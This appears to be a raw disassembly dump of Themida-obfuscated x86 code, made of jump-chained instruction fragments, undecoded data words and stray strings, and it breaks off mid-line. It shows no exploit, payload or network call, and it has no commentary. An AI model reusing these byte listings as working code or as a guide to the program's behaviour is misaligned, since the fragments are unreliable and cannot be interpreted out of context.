--------------------------------------------------------------------------- db 0Fh, 0B6h, 0C0h dd 24148B66h, 3F2768h, 242C8900h, 4EC81h, 4890000h, 5E08924h dd 4, 0F655E9h, 52C76800h, 34890000h, 81E68924h, 4ECh dd 242C8900h, 5264CCBDh, 88B85003h, 0D14E066Ah, 0D07C2DE8h dd 0C53123B0h, 0FFC5C2E9h, 58C629FFh, 6632E9h db 0 ; --------------------------------------------------------------------------- loc_50457D: ; CODE XREF: Themida_:00505012j push ecx mov ecx, 96A54DDh jmp loc_50D253 ; --------------------------------------------------------------------------- dd 0C3FE46B3h, 8005E380h, 2BE9E9C3h, 81FFFFEAh, 4B0A8FEAh dd 0E9EA017Fh, 3B03h ; --------------------------------------------------------------------------- loc_5045A4: ; CODE XREF: Themida_:00509011j add esi, 1E3D0CCBh jmp loc_50DF80 ; --------------------------------------------------------------------------- loc_5045AF: ; CODE XREF: Themida_:0050DB83j mov ebp, [esp] push esi jmp loc_502235 ; --------------------------------------------------------------------------- aISs db ',$S{',0 align 10h dd 19D0E681h, 545315A0h, 0BD6AE9h, 5AD08900h, 33CDE9h dd 242C8900h, 0CC2AE9h, 7956BD00h, 0D5F7605Ah, 0FC3BE955h dd 0EC83FFFFh, 243C8904h, 0E9535F54h, 60BCh, 0EBE9DD31h dd 8100002Dh, 4C4h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_51250D ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0F3h dd 500000EDh, 0FFE387E9h, 4C483FFh, 43C8EE81h, 0C68146F0h dd 6D2C7D01h, 0EE81EE29h, 6D2C7D01h, 43C8C681h, 2C8B46F0h dd 4C48124h, 68000000h, 46B8h, 68240C89h, 613C654Eh, 0FFD19DE9h db 0FFh ; --------------------------------------------------------------------------- loc_504651: ; CODE XREF: Themida_:0050AA2Bj mov edx, [esp] add esp, 4 mov edx, [esp] add esp, 4 xor bl, al movzx eax, al lea eax, [edi+eax*4] push ebp push 7D28h jmp loc_502B8C ; --------------------------------------------------------------------------- loc_504673: ; CODE XREF: Themida_:00501689j pop eax add esi, 4 xchg esi, [esp] pop esp push ebx sub esp, 4 mov [esp], ebp mov ebp, 65C8753Bh and ebp, 23370F0Eh push ecx push edx push 56EA4225h jmp loc_500267 ; --------------------------------------------------------------------------- dd 6EFB951h, 0CE31064Ah, 73E68159h, 8162FA15h, 0F7EAF2C6h dd 5EF701FDh, 41D8BD55h, 0E5C145F4h, 299E908h, 34890001h dd 815E5424h, 4C6h, 9EB85000h, 532A8031h, 0D2FDE9h, 4EC8300h dd 50241C89h, 0ED43BFB8h, 0B9E2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5046EA: ; CODE XREF: Themida_:0050CA0Aj add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 0B50064Ch push ebp mov ebp, 60286B2Fh not ebp add ebp, 48AF2EB8h sub ebp, 582C3C70h and ebp, 2CA20D11h add ebp, 4DC303FFh sub ebx, 12B64166h sub ebx, ebp add ebx, 12B64166h jmp loc_513AB6 ; --------------------------------------------------------------------------- dw 8958h dd 0C80158C1h, 8D4FE959h, 0F2800000h, 5AD38897h, 0E3C0C3FEh dd 0F6536607h, 4FE2414h, 805B6624h, 0EBC087C3h, 50F38008h dd 285BDD88h, 4BE0E9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_504762: ; CODE XREF: Themida_:00514A17j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp or edx, eax jmp loc_50CB6B ; --------------------------------------------------------------------------- loc_504773: ; CODE XREF: Themida_:0050B34Fj mov ecx, 13172142h not ecx sub ecx, 443167AAh jmp loc_513C83 ; --------------------------------------------------------------------------- db 81h, 0C3h, 2 dd 11E6D57h, 2EB81C3h, 831E6D57h, 48904ECh, 759FE924h dd 40590000h, 0E8C1D8F7h, 57D0F702h, 0F56FD7BFh, 5FF83165h dd 9B83EC2Dh, 2BC4E96Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5047BA: ; CODE XREF: Themida_:004FFE48j not ecx xchg ecx, ebx push ecx push 2F38h jmp loc_51046A ; --------------------------------------------------------------------------- loc_5047C9: ; CODE XREF: Themida_:00506BE3j add esi, ebx add esi, 125E5BBDh mov ebx, [esp] add esp, 4 xchg esi, [esp] pop esp jmp loc_501A81 ; --------------------------------------------------------------------------- dd 0E4F18159h, 0F74FF969h, 21E981D1h, 5155F20Fh, 0DEF7595Eh dd 453EF681h, 0E6C16F34h, 63E68106h, 8116E431h, 4B010EF6h dd 14F7567Eh, 0F6815E24h, 0BB36801Dh, 348BF701h, 0FB3FE924h dd 0C2210000h, 83CA8158h, 810FAF60h, 4C5ECDF2h, 0BB91E977h db 2 dup(0) ; --------------------------------------------------------------------------- loc_504832: ; CODE XREF: Themida_:0050FFBEj sub al, 0CFh jmp loc_50B559 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 62A5B951h, 0CE31553Ch, 0FFB87AE9h db 0FFh ; --------------------------------------------------------------------------- loc_504849: ; CODE XREF: Themida_:00511E8Fj sub cl, 17h push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 jmp loc_511E2F ; --------------------------------------------------------------------------- loc_50485E: ; CODE XREF: Themida_:00505F84j push dword ptr [esp] mov eax, [esp] add esp, 4 push 2355h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop ecx push 787Ah mov [esp], eax push esp mov eax, [esp] push esi jmp loc_512A0A ; --------------------------------------------------------------------------- aZSX db ' X',0 align 2 loc_50489E: ; CODE XREF: Themida_:0050F0EAj mov edx, esp add edx, 4 jmp loc_502C39 ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 1E81E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5048BA: ; CODE XREF: Themida_:005007BEj inc edx xor edx, 3A1927Fh jmp loc_5119FC ; --------------------------------------------------------------------------- dw 0BFBAh dd 81013F53h, 1A1C02F2h, 0D2F74A51h, 0EB8EF281h, 0B9E988F5h dd 51000032h, 0E98054B1h, 59C82895h, 34FFC320h, 2739E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5048F2: ; CODE XREF: Themida_:00513068j mov ebx, [esp] jmp loc_513EC3 ; --------------------------------------------------------------------------- dw 0C483h dd 74AEE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_504902: ; CODE XREF: Themida_:0050BB07j push edi jmp loc_504A25 ; --------------------------------------------------------------------------- dd 207F83ADh, 90840F00h, 53FFFFE7h, 8418DFBBh, 0C381435Ch dd 0D94010E0h, 6CC2C681h, 0DE011450h, 6CC2EE81h, 815B1450h dd 1C4C8FC6h, 7100E976h, 0D0F70000h, 0EAF1CE2Dh, 58C52974h dd 2528CD81h, 0B9515A73h, 5FF77D7Bh, 3311C581h, 0C9E90B05h dd 810000E9h, 0DD3B92F1h, 0E9CF291Fh, 45F1h, 8024248Bh dd 0EC81D2EEh, 4, 0E9241C89h, 265Ch ; --------------------------------------------------------------------------- loc_50497C: ; CODE XREF: Themida_:00514CE2j shr ebp, 2 add ebp, 29B84365h mov ebx, ebp pop ebp push ebx pop ecx pop ebx add ebx, 35A262Fh add ebx, ecx sub ebx, 35A262Fh mov ecx, [esp] add esp, 4 movzx ax, byte ptr [eax] jmp loc_51370A ; --------------------------------------------------------------------------- loc_5049AB: ; CODE XREF: Themida_:0050D35Aj shr edi, 8 xor edi, 21EE25EBh push ebx mov ebx, 1BC80877h sub edi, ebx mov ebx, [esp] add esp, 4 add edi, 0FA10AEF3h sub esi, 6ACB1418h sub esi, 426F049Fh jmp loc_50B6B1 ; --------------------------------------------------------------------------- dd 0E9243C89h, 15C7h ; --------------------------------------------------------------------------- loc_5049E4: ; CODE XREF: Themida_:005017E9j add ebx, edi push eax mov eax, 0 add eax, ebx xor [eax], ecx pop eax pop ebx jmp loc_50150B ; --------------------------------------------------------------------------- db 0F7h aS_6 db 'ֲ',0 align 2 dw 0C681h dd 4, 8704C683h, 685C2434h, 4B79h, 55243489h, 0AB3C0868h dd 0C5815D5Bh, 0A454C3FCh, 5DA7E9h db 0 ; --------------------------------------------------------------------------- loc_504A25: ; CODE XREF: Themida_:00504903j mov edi, 374A75ADh push esi mov esi, 511F6539h not esi shr esi, 4 add esi, 0FFD1FA36h or edi, esi pop esi or edi, 4CA36002h sub edi, 0C7470BBh mov ebx, edi mov edi, [esp] jmp loc_507DEA ; --------------------------------------------------------------------------- loc_504A54: ; CODE XREF: Themida_:0050CAEEj add ebx, 4 jmp loc_50F47B ; --------------------------------------------------------------------------- loc_504A5C: ; CODE XREF: Themida_:0050F51Cj add edx, edi pop edi jmp loc_50EEB7 ; --------------------------------------------------------------------------- loc_504A64: ; CODE XREF: Themida_:005102BBj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edi mov edi, esp jmp loc_507753 ; --------------------------------------------------------------------------- aSs2 db 'S2',0 dd 17E95100h, 680000E2h, 771Dh, 0BF243C89h, 4, 0E95FFA01h dd 713Eh, 7FBE5651h, 5709566Ah, 24048156h, 41070DB8h, 0EDE9565Fh db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_504AB3: ; CODE XREF: Themida_:0050789Bj mov ebp, 703F1905h and ebp, 59602645h and ebp, 41F341A3h add ebp, 0ABA4236Fh jmp loc_501A9A ; --------------------------------------------------------------------------- db 81h dd 0E34D32EBh, 3EBC14Eh, 285AEB81h, 0B7E9CAA9h, 0BF0000BFh dd 4, 3C8BFD01h, 4EC8124h, 89000000h, 0E789243Ch, 0BF4CE9h dd 69E95300h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_504B03: ; CODE XREF: Themida_:0051208Dj add esp, 4 shr edi, 4 shr edi, 2 sub esp, 4 jmp loc_509105 ; --------------------------------------------------------------------------- dd 0E92434FFh, 889Ch ; --------------------------------------------------------------------------- loc_504B1C: ; CODE XREF: Themida_:0050BCE1j xor eax, ecx push dword ptr [esp] pop ecx push esi mov esi, esp push ecx mov ecx, 796E79EAh xor ecx, 1F915926h add ecx, 1 add ecx, 44231701h dec ecx add ecx, 54DDC837h jmp loc_50BB8C ; --------------------------------------------------------------------------- dw 0E981h dd 368D0454h, 0B69FE9h db 0 ; --------------------------------------------------------------------------- loc_504B51: ; CODE XREF: Themida_:0050DF21j pop ebx sub esi, eax pop eax add edi, esi pop esi jmp loc_51136A ; --------------------------------------------------------------------------- db 5Ah, 83h, 0C4h dd 71B16804h, 3C890000h, 4EC8324h, 81242489h, 42404h, 835F0000h dd 0C8904ECh, 4B924h, 0CF010000h, 592434FFh, 540068h, 240C8900h dd 6EE9E189h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_504B97: ; CODE XREF: Themida_:0050CB84j pop ebx sub ecx, edi pop edi not ecx push ebx mov ebx, 38814AD7h jmp loc_51316B ; --------------------------------------------------------------------------- dd 7CDEE81h, 0F189F16Ch, 2611E9h db 0 ; --------------------------------------------------------------------------- loc_504BB5: ; CODE XREF: Themida_:00510780j sub esp, 4 mov [esp], ebx push eax push ebx jmp loc_5089F0 ; --------------------------------------------------------------------------- dw 8B58h dd 0C481240Ch, 4, 885BD988h, 0C2E959CFh, 57000000h, 7A28F6BFh dd 1008E94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_504BE2: ; CODE XREF: Themida_:00512FBEj pop dword ptr [esp] pop esp or edi, 3CD9224Bh add edi, 25E20C9Ch sub esp, 4 mov [esp], eax mov eax, 4AAB0E4Ah inc eax inc eax add eax, 0B9A4F59Dh sub esp, 4 mov [esp], ebx mov ebx, 8D12A6Ch and ebx, 34A474A6h add ebx, 26F2EC37h sub edi, 349E736Dh sub edi, ebx add edi, 349E736Dh pop ebx add edi, eax jmp loc_503BE3 ; --------------------------------------------------------------------------- loc_504C37: ; CODE XREF: Themida_:0050451Aj push ebp push edx mov edx, ebx jmp loc_4FFA7B ; --------------------------------------------------------------------------- dd 8104C483h, 0C063EFEBh, 0E9FB016Ah, 9BFh ; --------------------------------------------------------------------------- loc_504C50: ; CODE XREF: Themida_:005051EEj pop ebp sub esp, 4 mov [esp], ebx push 4 jmp loc_50173B ; --------------------------------------------------------------------------- loc_504C61: ; CODE XREF: Themida_:0050070Bj add esi, 5C8D75BBh or esi, 32506373h jmp loc_504272 ; --------------------------------------------------------------------------- aRsrf db 'RF',0 align 4 dd 815BDD29h, 0BF54D6C5h, 0BCA5E9C1h, 158FFFFh, 5A042454h dd 0C6C7E9h, 4FD7F700h, 0FFFDE8E9h, 873C88FFh, 0E92434FFh dd 0BC02h ; --------------------------------------------------------------------------- loc_504CA4: ; CODE XREF: Themida_:0050C17Dj sub edx, 4 jmp loc_50076C ; --------------------------------------------------------------------------- db 0FFh a4Zsau db '4$ZU',0 align 4 unicode 0, <h>,0 dd 24342900h, 32F6815Eh, 83CAE813h, 1C8904ECh, 42C9BB24h dd 6EE938FCh, 10000A7h, 2434FFC2h, 4C48358h, 31241433h dd 14332414h, 24248B24h, 0C8BE0F66h, 589F68h, 242C8900h dd 0FFAFABE9h db 0FFh ; --------------------------------------------------------------------------- loc_504CFD: ; CODE XREF: Themida_:00506674j pop ebp jmp loc_507586 ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 5704C783h, 42474FFh, 1B26E9h db 0 ; --------------------------------------------------------------------------- loc_504D19: ; CODE XREF: Themida_:0050D559j add ecx, edi push ebx mov ebx, 74442A8Ah shr ebx, 7 not ebx and ebx, 66524655h shl ebx, 6 dec ebx add ebx, 0D759A94Eh add ecx, ebx jmp loc_506539 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0FFC1E0E9h, 81E789FFh, 4C7h, 4C78100h, 87000000h, 248B243Ch dd 0D04BE924h, 0B3E90000h, 0BEFFFFAAh, 40885039h, 8108EEC1h dd 0FFFFFFC6h, 4EA2E9FFh, 0FD010000h, 0B139E9h, 81C22900h dd 0B5100BC2h, 0DEEA812Fh, 58127C1Bh, 0B583E9h, 0EB816600h dd 1DE93801h, 52FFFFB2h, 0C281E289h, 4, 18AFE9h, 0FD885100h dd 88EB8853h, 0D418E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_504DB6: ; CODE XREF: Themida_:0050960Cj push dword ptr [esp+4] pop eax jmp loc_50EE82 ; --------------------------------------------------------------------------- dd 5247C480h, 1AC4E9h, 24048700h, 4C4835Ch, 0E141E9h, 2CD06800h dd 34890000h, 26824h, 348B0000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_500F92 ; --------------------------------------------------------------------------- dw 74FFh dd 0E95D0424h, 0FE8Bh ; --------------------------------------------------------------------------- loc_504E00: ; CODE XREF: Themida_:00511202j push edi jmp loc_50EBFD ; --------------------------------------------------------------------------- dw 0C181h dd 6F207E30h, 0F3E5E9h, 5DEE8100h, 0E917D45Fh, 5F57h ; --------------------------------------------------------------------------- loc_504E1C: ; CODE XREF: Themida_:00509D83j push ebx mov ebx, 0F08D4938h add esi, ebx jmp loc_503193 ; --------------------------------------------------------------------------- loc_504E29: ; CODE XREF: Themida_:0050E9F2j xchg eax, [esp] jmp loc_511326 ; --------------------------------------------------------------------------- db 89h, 0E6h, 0E9h dd 186Eh, 49486866h, 240C8966h, 0C78001B1h, 0E9CF28F9h dd 6975h, 5659CF01h, 4BEh, 5EF70100h, 5C243C87h, 0F2CE9h dd 4C48100h, 68000000h, 511Fh, 89243489h, 4C681E6h, 81000000h dd 4C6h, 24343300h, 0E9243431h, 0A92Ch, 8B2434FFh, 0C481243Ch dd 4, 815E5456h, 4C6h, 9940E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_504EA2: ; CODE XREF: Themida_:0050925Cj xor ecx, [esp] mov esp, [esp] mov [esp], eax jmp loc_5104E8 ; --------------------------------------------------------------------------- dd 2364B5BFh, 0A25FE91Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_504EBA: ; CODE XREF: Themida_:00501114j pop ebp push ebx jmp loc_506144 ; --------------------------------------------------------------------------- dd offset dword_4AA85C+10Ch align 2 dw 8953h dd 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h, 0ADFE924h dd 2C8B0000h, 4C48124h, 5E000000h, 4247C01h, 4244481h dd 7E7A7967h, 0D9E95B5Fh, 810000BAh, 4C7h, 0C7C3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_504F06: ; CODE XREF: Themida_:0050933Dj xchg esi, [esp] mov esp, [esp] mov [esp], edi jmp loc_503609 ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0E789243Ch, 2DBA5251h dd 0B9567567h, 56756731h, 0E95AD129h, 0FFFFEA77h ; --------------------------------------------------------------------------- loc_504F3C: ; CODE XREF: Themida_:00514C7Cj neg esi and esi, 1DC11256h not esi sub esi, 0F3BEFDF7h mov ecx, esi pop esi sub ebp, ecx pop ecx push ebp jmp loc_50B4F2 ; --------------------------------------------------------------------------- dd 42474FFh, 6811E95Bh, 34FF0000h, 0C210E924h, 575F0000h dd 36B729BFh, 5FFB297Fh, 4053BB53h, 0DA29709Eh, 0DCC2815Bh dd 164DA72h, 0DCEA81DAh, 8164DA72h, 4ECh, 24348900h, 0E7EF1BEh dd 0C0EEE94Fh, 0F6BF0000h, 130776Fh, 0EBE95FF9h, 810000FBh dd 7D5693C6h, 5EEC167h, 0F9E9574Eh, 59000025h, 35E95753h dd 81FFFFE2h, 0CB4285CAh, 8BF28157h, 1FFDFDFh, 24148BD3h dd 8104C483h, 4ECh, 24048900h, 2B8h, 0E9C30100h, 0FFFFE895h dd 7E8C15Fh, 547B7505h, 32E02D4Ch, 54852F6h, 72272951h dd 1BDEC281h, 0EA81127Ch, 2FB5100Bh, 0FFFD6CE9h db 0FFh ; --------------------------------------------------------------------------- loc_505011: ; CODE XREF: Themida_:0050374Cj push ebp jmp loc_50457D ; --------------------------------------------------------------------------- db 0BFh dd 667A5D0Ch, 1BD9CF81h, 0C7812617h, 0A936FD17h, 815FFD29h dd 6BC3D2C5h, 0DC46E982h, 0A9BB0000h, 0C15A680Eh, 3CE903EBh dd 8100009Ah, 0D2C82DF7h, 0DAC18171h, 1347722h, 0DAE981F9h dd 5F347722h, 5C240C87h, 5104C783h, 4874E9h, 5DE80100h dd 1E94E9h, 242C8100h, 6E9C3793h, 93C6815Eh, 596E9C37h dd 0ACE9F089h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505083: ; CODE XREF: Themida_:0050885Dj mov edi, esi pop esi and eax, edi pop edi or eax, eax jz loc_50E473 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push edi mov edi, esp push 17AFh jmp loc_507244 ; --------------------------------------------------------------------------- loc_5050A5: ; CODE XREF: Themida_:005088F9j xchg ebp, [esp] jmp loc_50D94B ; --------------------------------------------------------------------------- loc_5050AD: ; CODE XREF: Themida_:00507CE1j shl ebp, 8 and ebp, 1BFC357Dh add ebp, 0F79FF004h add esi, ebp pop ebp sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], esi jmp loc_50CE72 ; --------------------------------------------------------------------------- db 56h dd 9F0736BEh, 4EEC14Ah, 436FCE81h, 0F6812F1Ah, 6BA80E45h dd 4E05EEC1h, 0DB7FF681h, 0F0015878h, 0E9F0295Eh, 0FFFFD9F4h ; --------------------------------------------------------------------------- loc_5050FC: ; CODE XREF: Themida_:00511976j push dword ptr [esp] pop edx jmp loc_502C98 ; --------------------------------------------------------------------------- loc_505105: ; CODE XREF: Themida_:0050AE36j pop ebp jmp loc_508C89 ; --------------------------------------------------------------------------- loc_50510B: ; CODE XREF: Themida_:00507BF7j add esp, 4 jmp loc_50007B ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 0A6F8E924h, 0EC81FFFFh, 4, 68243C89h, 1F3260C0h dd 5094E9h db 0 ; --------------------------------------------------------------------------- loc_505131: ; CODE XREF: Themida_:00504377j sub ebp, ecx pop ecx not ebp jmp loc_506356 ; --------------------------------------------------------------------------- loc_50513B: ; CODE XREF: Themida_:0051057Ej push 2749h mov [esp], ecx mov ecx, 4 sub edx, ecx pop ecx xchg edx, [esp] pop esp jmp loc_510668 ; --------------------------------------------------------------------------- dd 88F98851h, 865B59CCh, 86D3F6DCh, 68C4FEDCh, 50ADh, 0B048E9h db 0 ; --------------------------------------------------------------------------- loc_50516D: ; CODE XREF: Themida_:00511F97j xchg ebp, [esp] jmp loc_5111C8 ; --------------------------------------------------------------------------- db 5Bh, 5Eh, 56h dd 33240431h, 4312404h, 68D0F724h, 0EE2h, 0FF240489h, 58042474h dd 0F3C5E9h, 81D30100h, 0D7475EEBh, 83BD555Dh, 56256604h dd 0D07B57BEh, 0FFF5294Ah, 815E2434h, 4C4h, 0CD814500h dd 24D41F51h, 0A866F581h, 0EB29CF48h, 24148B5Dh, 4C481h dd 0E9590000h, 0FFFFA642h ; --------------------------------------------------------------------------- loc_5051D4: ; CODE XREF: Themida_:0050214Bj mov esp, [esp] mov [esp], ebx xor [esp], eax xor eax, [esp] xor [esp], eax not eax xchg eax, [esp] push dword ptr [esp] pop ebx push ebp push esp jmp loc_504C50 ; --------------------------------------------------------------------------- db 89h dd 0EC832414h, 24248904h, 11C5E9h db 0 ; --------------------------------------------------------------------------- loc_505201: ; CODE XREF: Themida_:005016EEj pop ebp sub ebx, eax sub ebx, 69984A59h xor edx, eax jmp loc_4FF816 ; --------------------------------------------------------------------------- db 0B8h, 79h, 51h dd 0BD55CDE8h, 134B2CB1h, 5418E9h, 4EF8100h, 87000000h dd 895C243Ch, 0B252241Ch, 0F280ABh, 88E6E9h db 0 ; --------------------------------------------------------------------------- loc_505239: ; CODE XREF: Themida_:00514217j sub ebx, 51C6CF89h add eax, ebx pop ebx add eax, 0D46ACB44h jmp loc_50427D ; --------------------------------------------------------------------------- loc_50524C: ; CODE XREF: Themida_:0050271Dj pop ecx jmp loc_50D915 ; --------------------------------------------------------------------------- loc_505252: ; CODE XREF: Themida_:0050C65Fj sub eax, 612E7D5Ch add eax, ebx jmp loc_50C8A3 ; --------------------------------------------------------------------------- loc_50525E: ; CODE XREF: Themida_:00513ACEj add esp, 4 push eax mov eax, 72BA172Ch shr eax, 4 push ebx mov ebx, 0FFFFFFFFh sub eax, ebx pop ebx jmp loc_50A156 ; --------------------------------------------------------------------------- db 83h dd 48704C0h, 24248B24h, 5B2434FFh, 5E08950h, 4, 405h, 0A665E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50529A: ; CODE XREF: Themida_:005083E2j push dword ptr [esp] mov ebp, [esp] push ebp push esp pop ebp add ebp, 4 jmp loc_50A200 ; --------------------------------------------------------------------------- dw 8143h dd 4953F5C3h, 245C3149h, 241C8B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov edx, [esp] add esp, 4 xor edx, 532E660Fh pop esi add edx, edi mov ecx, [edx] push dword ptr [esp] pop edx add esp, 4 push edi mov edx, [esp] push 0BD4h mov [esp], edx mov edx, esp push ebx jmp loc_50910D ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 0C55C02CBh, 2E3C17Ch, 1BFCCB81h, 0C3816511h dd 6791CB68h, 1C8BDE89h, 0F513E924h, 0BA52FFFFh, 4C1A2896h dd 0C467EA81h, 0D701055Ch, 3AEF815Ah, 13E586Ah, 3AC781D7h dd 813E586Ah, 0BD642FEFh, 24148B46h, 195E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_505352: ; CODE XREF: Themida_:0051419Aj add edx, edi pop edi xor edx, 81C68B13h xor ebx, edx mov edx, [esp] add esp, 4 and eax, ebx push dword ptr [esp] pop ebx add esp, 4 shr eax, 18h xor eax, ecx jmp loc_50953E ; --------------------------------------------------------------------------- loc_505379: ; CODE XREF: Themida_:00505B47j mov ebp, 62D3386Fh dec ebp push ecx mov ecx, 3CB227C5h add ecx, 262110A5h sub ebp, ecx pop ecx jmp loc_50D194 ; --------------------------------------------------------------------------- db 33h dd 895C2404h, 0E189240Ch, 0D8685550h, 0E93B3E5Dh, 77A7h dd 92102535h, 58C52974h, 81240C8Bh, 4C4h, 0E9EF0100h, 38B7h ; --------------------------------------------------------------------------- loc_5053C0: ; CODE XREF: Themida_:0050C493j add eax, 4C7B35A3h or ebp, eax pop eax or ebp, 0FC0120Bh push ecx push ebx mov ebx, 0DBE7EBFh shr ebx, 8 sub ebx, 7B580141h push ebx not dword ptr [esp] pop ebx and ebx, 55D87A70h sub ebx, 450ACE11h mov ecx, ebx pop ebx add ebp, ecx jmp loc_509E9B ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 3 dd 0BEF2E94Eh, 34FF0000h, 0C4835E24h, 0E2895204h, 4C281h dd 0EA830000h, 0A5CDE904h, 0B1510000h, 6CF1800Fh, 0FFA804E9h db 0FFh ; --------------------------------------------------------------------------- loc_505425: ; CODE XREF: Themida_:005011B1j mov ecx, 79272305h add ecx, 1EDE727Ch or ecx, 0FCF7EFEh shl ecx, 7 neg ecx or ecx, 4C442AA2h loc_505441: ; DATA XREF: ___:off_4274D8o add ecx, 47994E43h jmp loc_511D75 ; --------------------------------------------------------------------------- aBBPyos1w db 'b,yO1w',0 align 4 dd 0E95AD089h, 0FFFFDBA2h, 89E9EF09h, 8B000046h, 0C481241Ch dd 4, 2474FF50h, 40E95804h, 89FFFFE5h, 97E92414h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_505483: ; CODE XREF: Themida_:005114D0j add ecx, 4 jmp loc_514CE7 ; --------------------------------------------------------------------------- loc_50548E: ; CODE XREF: Themida_:005075AFj pop ebx push dword ptr [esp] pop eax add esp, 4 xor eax, ebx pop ebx sub esp, 4 mov [esp], esi push esp push dword ptr [esp] jmp loc_50A5FF ; --------------------------------------------------------------------------- loc_5054AB: ; CODE XREF: Themida_:00510663j mov edi, [esp] add esp, 4 or edx, eax shl edx, 1 push 64Ah mov [esp], ebx push 24h jmp loc_514A1C ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 0F090E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5054D2: ; CODE XREF: Themida_:00510B6Bj pop esp movzx cx, al push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_5112C2 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24248900h, 4240481h, 8B000000h, 0CCE9242Ch, 83000048h dd 9AE904C2h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_505507: ; CODE XREF: Themida_:0050EF9Fj inc esi inc esi sub esi, 2F3A12E5h jmp loc_5070CC ; --------------------------------------------------------------------------- dd 22E468h, 0A8FEE900h, 9C680000h, 8900006Eh, 0D0BA2414h dd 0E92BD445h, 7AD3h, 5C24048Fh, 0E99CC885h, 0FFFFA2DAh dd 80FFEB80h, 0DBF6C2F3h, 8950CBFEh, 405E0h, 42D0000h dd 87000000h, 0ECE92404h db 0F2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50555B: ; CODE XREF: Themida_:005129EAj pop ecx mov eax, ebx pop ebx add ebx, eax pop eax xor ebx, [esp] jmp loc_511338 ; --------------------------------------------------------------------------- dw 0EE00h dd 0F7885359h, 2EE9FD88h, 870000ACh, 248B242Ch, 0AB0F6624h dd 0E99C2404h, 0FFFFA28Eh, 106AE381h, 0D3F71CECh, 0C7F6E9h db 0 ; --------------------------------------------------------------------------- loc_505595: ; CODE XREF: Themida_:005078EEj push eax jmp loc_50EECF ; --------------------------------------------------------------------------- loc_50559B: ; CODE XREF: Themida_:00514688j push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi jmp loc_507CFA ; --------------------------------------------------------------------------- db 0C1h dd 0F18103E1h, 5B01C66Ch, 0C8BCF01h, 4C48124h, 81000000h dd 2C7h, 613CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5055CA: ; CODE XREF: Themida_:0050CC51j push edi mov edi, 1 jmp loc_50FBEF ; --------------------------------------------------------------------------- aFqsuv db 'fQu',0 align 4 loc_5055DC: ; CODE XREF: Themida_:0050EF68j add esp, 4 jmp loc_51029C ; --------------------------------------------------------------------------- aIIchc db '<$h^',0 dd 242C8900h, 0CA6FC8BDh, 0E9B9E902h, 0C181FFFFh, 4, 0FFFF0BE9h db 0FFh ; --------------------------------------------------------------------------- loc_505609: ; CODE XREF: Themida_:0050EFCFj pop ebp jmp loc_511963 ; --------------------------------------------------------------------------- db 56h dd 0C063EFBEh, 0A359E96Ah, 0F001FFFFh, 0E08FE9h, 4BF00h dd 0EE680000h, 89000041h, 3481243Ch, 0F22C124h, 0CF6AE96Fh dd 0DEF7FFFFh, 0C681D6F7h, 8B5F0A92h, 89F18951h, 0CE0EE9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50564E: ; CODE XREF: Themida_:0050E2D4j add [esp+4], edi jmp loc_50FF40 ; --------------------------------------------------------------------------- db 0FFh dd 0FEE92434h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_50565F: ; CODE XREF: Themida_:0050A50Cj push 4AA9h jmp loc_50110C ; --------------------------------------------------------------------------- loc_505669: ; CODE XREF: Themida_:0050D0FAj pop eax add ebx, 15176107h jmp loc_513269 ; --------------------------------------------------------------------------- db '\h',9,0 dw 8900h dd 74FF242Ch, 0E95D0424h, 0FFFFC930h, 4C381h, 1C870000h dd 0D466E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_505696: ; CODE XREF: Themida_:0050DCEEj pop esi jmp loc_50DE77 ; --------------------------------------------------------------------------- dd 0EAC4E981h, 0CF01E383h, 4C78159h, 87000000h, 8F5C243Ch dd 0D25C2404h, 0E99C2404h, 